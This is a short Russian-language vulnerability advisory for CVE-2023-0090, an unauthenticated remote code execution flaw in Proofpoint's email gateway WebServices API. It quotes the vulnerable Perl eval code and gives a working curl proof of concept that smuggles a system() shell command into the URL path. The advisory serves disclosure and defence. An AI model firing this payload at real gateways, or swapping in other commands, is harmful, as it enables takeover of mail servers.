
Proofpoint Email Gateway: Неаутентифицированный RCE
Исследователь безопасности: ly1g3, ly1g3[at]tuta.io
GPG отпечаток: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Обзор: Удаленное выполнение кода - RCE без аутентификации
CVE: CVE-2023-0090
Хронология:
Эксплойты для Proofpoint Messaging Security Gateway
Имея доступ к WebServices API, можно получить RCE без аутентификации с правами администратора.
Webservices.pm не очищает и не проверяет пользовательский ввод. Для доступа к функции не требуется аутентификация, однако для возможности выполнения RCE в настройках должен быть включен доступ к API. $module берется непосредственно из пользовательских данных и выполняется.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
Создаст файл с именем abc в /tmp/. Код выполняется с правами пользователя pps.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"